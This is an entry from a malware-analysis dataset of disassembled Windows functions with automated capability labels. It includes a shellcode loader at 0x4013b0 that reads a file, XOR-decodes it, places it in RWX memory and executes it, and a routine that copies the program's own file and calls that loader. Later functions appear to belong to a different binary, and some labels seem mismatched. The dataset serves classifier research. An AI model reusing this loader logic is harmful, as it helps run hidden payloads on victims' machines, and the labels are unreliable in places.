joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xeeeb4
call fcn.0043d1c0
mov eax, dword [0x466a50]
xor eax, esp
mov dword [esp + 0xeeeb0], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push edi
push 0
push 0
push 0
push 0
mov esi, ecx
call ebx
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push edi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jbe 0x40142f
xor byte [esp + eax + 0x14], 0x7b
inc eax
cmp eax, esi
jb 0x401425
push 0x40
push 0x3000
push 0xeeea8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xeeea8
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call fcn.00439f90
add esp, 0xc
call dword [0x46a98c]
push 0
push 0
push 1
push 0
mov edi, eax
call ebx
push 0
push 0
push 0x64
push 0
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x28]
push eax
call dword [0x46aa34]
test eax, eax
je 0x4014a6
push 0xffffffffffffffff
push ebx
call dword [0x46aa38]
test eax, eax
je 0x4014a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.0043a2f5
add esp, 8
mov ecx, dword [esp + 0xeeebc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00439bf8
add esp, 0xeeeb4
ret

Function at 0x4014c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x466a50]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push 0x23
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
test eax, eax
jge 0x401504
push ebx
push 0x455b29
jmp 0x40151f
lea eax, [esp + 8]
lea edx, [eax + 1]
jmp 0x401510
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401510
sub eax, edx
push eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00401bb0
mov ecx, dword [esp + 0x10c]
pop ebx
xor ecx, esp
mov eax, esi
call fcn.00439bf8
add esp, 0x10c
ret
Function at 0x401540
Capabilities:
Copy file

Disassembly:
push 0xffffffffffffffff
push 0x44f221
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x466a50]
xor eax, esp
mov dword [esp + 0x164], eax
push ebx
push esi
push edi
mov eax, dword [0x466a50]
xor eax, esp
push eax
lea eax, [esp + 0x178]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x74]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
cmp eax, ebx
jle 0x4015b1
mov cl, 0x5c
nop
cmp byte [esp + eax + 0x70], cl
je 0x4015ad
dec eax
cmp eax, ebx
jg 0x4015a0
jmp 0x4015b1
mov byte [esp + eax + 0x71], bl
mov al, 0x74
lea edx, [esp + 0x64]
mov byte [esp + 0x69], al
mov byte [esp + 0x6b], al
push edx
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x6c], 0x61
mov byte [esp + 0x6d], 0x64
mov byte [esp + 0x6e], 0x6d
mov byte [esp + 0x6f], 0x65
mov byte [esp + 0x70], 0x2e
mov byte [esp + 0x72], 0x78
mov byte [esp + 0x74], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [esp + 0x10]
call fcn.004014c0
push eax
lea ecx, [esp + 0x30]
push ecx
mov edi, 0x459c04
mov dword [esp + 0x188], ebx
call fcn.00401f00
push eax
lea edx, [esp + 0x54]
push edx
lea edi, [esp + 0x74]
mov byte [esp + 0x190], 1
call fcn.00401f00
add esp, 0x10
mov esi, 0x10
mov byte [esp + 0x180], 3
cmp dword [esp + 0x44], esi
jb 0x401647
mov eax, dword [esp + 0x30]
push eax
call fcn.0040242e
add esp, 4
mov edi, 0xf
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov byte [esp + 0x180], 4
cmp dword [esp + 0x28], esi
jb 0x401673
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0040242e
add esp, 4
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
cmp dword [esp + 0x60], esi
jae 0x40168d
lea eax, [esp + 0x4c]
push ebx
push eax
lea edx, [esp + 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x70]
call fcn.004013b0
mov dword [esp + 0x180], 0xffffffff
cmp dword [esp + 0x60], esi
jb 0x4016c1
mov eax, dword [esp + 0x4c]
push eax
call fcn.0040242e
add esp, 4
mov ecx, dword [esp + 0x178]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.00439bf8
add esp, 0x174
ret

Function at 0x40d547
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40d58e
call fcn.0041c5b2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40d58e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40d5aa
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040d0c1
mov esi, eax
test edi, edi
je 0x40d5a8
test ebx, ebx
je 0x40d5a8
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40e480
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x44d83d
call fcn.0043ae61
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40e4a5
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40e4eb
lea ecx, [ebp - 0x10]
call fcn.004038df
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004028a7
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402975
mov eax, esi
call fcn.0043af39
ret 8

Function at 0x410746
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], ecx
call fcn.0041c5b2
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x410773
xor eax, eax
jmp 0x410819
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x41076c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x41076c
movzx eax, word [esi + 6]
push ebx
push edi
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004023ff
pop ecx
mov edi, eax
xor ecx, ecx
xor eax, eax
cmp cx, word [esi + 6]
jae 0x4107ca
lea ecx, [esi + 8]
movzx edx, word [ecx]
mov dword [edi + eax*4], edx
movzx edx, word [esi + 6]
inc eax
inc ecx
inc ecx
cmp eax, edx
jl 0x4107b9
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.0040f439
push edi
mov ebx, eax
call fcn.0040242e
pop ecx
test ebx, ebx
je 0x41080c
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
push ecx
lea esi, [ecx + 7]
mov ecx, dword [ebp - 4]
push eax
lea edx, [eax + 7]
push esi
push edx
call fcn.0040faf9
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.0040fbad
mov ebx, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret 4
Function at 0x4147ae
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4147f6
call fcn.0041c5b2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4147f6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x414839
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x414822
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x414822
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x414836
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x416826
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041c5b2
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41685f
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00416477
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x4168bd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x4168e1
cmp dword [edi + 0x54], 0
jne 0x4168e1
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041c5b2
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041687e
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x417454
Capabilities:
Get file attributes

Disassembly:
mov edi, edi
push esi
mov esi, ecx
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 1
mov ecx, esi
test al, 1
je 0x417478
mov eax, dword [esi]
push 0
call dword [eax + 0x98]
test eax, eax
jne 0x417486
pop esi
ret
mov eax, dword [esi + 0x24]
mov edx, dword [esi]
push eax
call dword [edx + 0x98]
jmp 0x417472
xor eax, eax
inc eax
pop esi
ret
Function at 0x4367b5
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x44ed39
call fcn.0043ae61
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040ceeb
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x436817
call fcn.0041be8a
cmp eax, 1
jne 0x436817
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00415b53
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00403a5a
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402975
mov dword [ebp + 8], VariantInit
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402975
mov eax, esi
call fcn.0043af39
ret 0x10

Function at 0x436840
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x44ed39
call fcn.0043ae61
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040ceeb
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4368a2
call fcn.0041be8a
cmp eax, 1
jne 0x4368a2
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00415b53
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00403a5a
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402975
mov dword [ebp + 8], VariantInit
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402975
mov eax, esi
call fcn.0043af39
ret 0x14

Function at 0x439bf8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x466a50]
jne 0x439c02
repz ret
jmp fcn.0043ec21
Function at 0x4473dc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043ee9a
and dword [ebp - 4], 0
cmp dword [0x46a918], 0
mov ebx, eax
jne 0x44748d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44753e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x458588
push edi
call esi
test eax, eax
je 0x44753e
push eax
call fcn.0043ee28
mov dword [esp], 0x458578
push edi
mov dword [0x46a918], eax
call esi
push eax
call fcn.0043ee28
mov dword [esp], 0x458564
push edi
mov dword [0x46a91c], eax
call esi
push eax
call fcn.0043ee28
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46a920], eax
call esi
push eax
call fcn.0043ee28
pop ecx
mov dword [0x46a928], eax
test eax, eax
je 0x44748d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043ee28
pop ecx
mov dword [0x46a924], eax
mov eax, dword [0x46a924]
cmp eax, ebx
je 0x4474e5
cmp dword [0x46a928], ebx
je 0x4474e5
push eax
call fcn.0043eea3
push dword [0x46a928]
mov esi, eax
call fcn.0043eea3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4474e5
test edi, edi
je 0x4474e5
call esi
test eax, eax
je 0x4474dc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4474dc
test byte [ebp - 0xc], 1
jne 0x4474e5
or dword [ebp + 0x10], 0x200000
jmp 0x44751e
mov eax, dword [0x46a91c]
cmp eax, ebx
je 0x44751e
push eax
call fcn.0043eea3
pop ecx
test eax, eax
je 0x44751e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44751e
mov eax, dword [0x46a920]
cmp eax, ebx
je 0x44751e
push eax
call fcn.0043eea3
pop ecx
test eax, eax
je 0x44751e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46a918]
call fcn.0043eea3
pop ecx
test eax, eax
je 0x44753e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x447540
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403484
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x4034c0
movzx eax, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x4034e0
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00405854
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x4037b4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004055e4
test esi, esi
jne 0x4037ea
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004056d4
jmp 0x403808
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004036b8
mov edi, eax
test esi, esi
je 0x403808
cmp dword [ebx], 0
je 0x403808
dec esi
jmp 0x4037f1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x40383c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x576008], 0x8088405
inc edx
mov dword [ebx + 0x576008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40449c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x576024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x404534
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404514
xor eax, eax
push ebp
push 0x40450d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x404550
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404514
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x576024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x576024], ax
mov esp, ebp
pop ebp
ret

Function at 0x405390
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x58c04c], 0
je 0x4053f1
cmp word [0x58c220], 0xd7b2
jne 0x4053b9
cmp dword [0x58c228], 0
jbe 0x4053b9
mov eax, 0x58c21c
call dword [0x58c238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x405418
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x576030], 0
jne 0x40540d
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405568
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x576038], 0
je 0x40558e
mov edx, esi
mov eax, ebx
call dword [0x576038]
jmp 0x40559d
mov eax, 8
call fcn.0040320c
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x58c04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x405530
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x40c6a8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40c6fa
test eax, edx
je 0x40c6fd
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x40c6bd
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40c6e3
add ecx, 4
js 0x40c6d3
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x40c6e0
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x40c709
test edx, edx
jne 0x40c6b0
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40d53c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.00405a74
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40d55a
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 2
je 0x40d57b
cmp ebx, 3
je 0x40d57b
cmp ebx, 0x7b
je 0x40d57b
mov eax, esi
call fcn.0040d4fc
test al, al
jne 0x40d57f
xor eax, eax
jmp 0x40d581
mov al, 1
pop esi
pop ebx
ret

Function at 0x40d584
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405a74
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40d59d
test al, 0x10
jne 0x40d5a1
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40d748
Capabilities:
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405a74
push eax
call sub.kernel32.dll_GetFileAttributesA
pop ebx
ret

Function at 0x40d75c
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00405a74
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x40d77e
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x41122c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x411265
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004056d4
jmp 0x41126e
mov eax, ebx
mov edx, esi
call fcn.00405638
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x411278
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x41129a
movzx eax, byte [esp]
jmp 0x41129c
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x41192c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x4117a4
mov eax, dword [0x58b35c]
cmp byte [eax], 0
je 0x4119a8
mov eax, dword [0x58ac7c]
call fcn.00403c7c
call fcn.004033d8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040dcac
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4119f0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x4119de
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x58ab7c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x58e7f8]
call fcn.00406dd0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x4122e0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4123b6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040567c
lea eax, [ebp - 4]
call fcn.00405acc
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405a74
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x4123a0
mov eax, ebx
call fcn.0040320c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x412399
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405a74
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x412383
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x4123c8
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x412383
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4123a0
mov eax, dword [ebp - 0x10]
call fcn.00403228
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4123bd
lea eax, [ebp - 4]
call fcn.004055e4
ret

Function at 0x42587c
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004255b8
dec esi
jne 0x42589e
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret